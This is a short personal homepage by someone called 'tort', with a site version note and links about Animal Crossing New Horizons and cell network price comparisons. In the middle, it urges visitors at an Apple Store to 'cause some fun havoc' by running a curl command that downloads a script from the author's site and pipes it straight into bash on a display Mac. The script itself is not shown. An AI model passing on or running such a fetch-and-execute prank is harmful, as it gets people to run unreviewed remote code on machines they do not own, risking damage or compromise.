Welcome to my website!

Hello, my name is tort, this website has been around for a month, but we're now in version 2.0 of the website! Rest in piece ~max 1.0 (12/01/2024-12/02/2024)


Google turtle emoji being eaten by the google goat emoji

At the apple store and wanna cause some fun havoc? Type in the following command in a Terminal on a Mac there!

curl http://nb-tort.com/~max/lmao.sh | bash

Animal Crossing New Horizons!

I really love this game, you can go here to see things that I have documented about the game!

Cell Networks!

Wanna see a bunch of cell networks compared for the best price and overall value? Click here!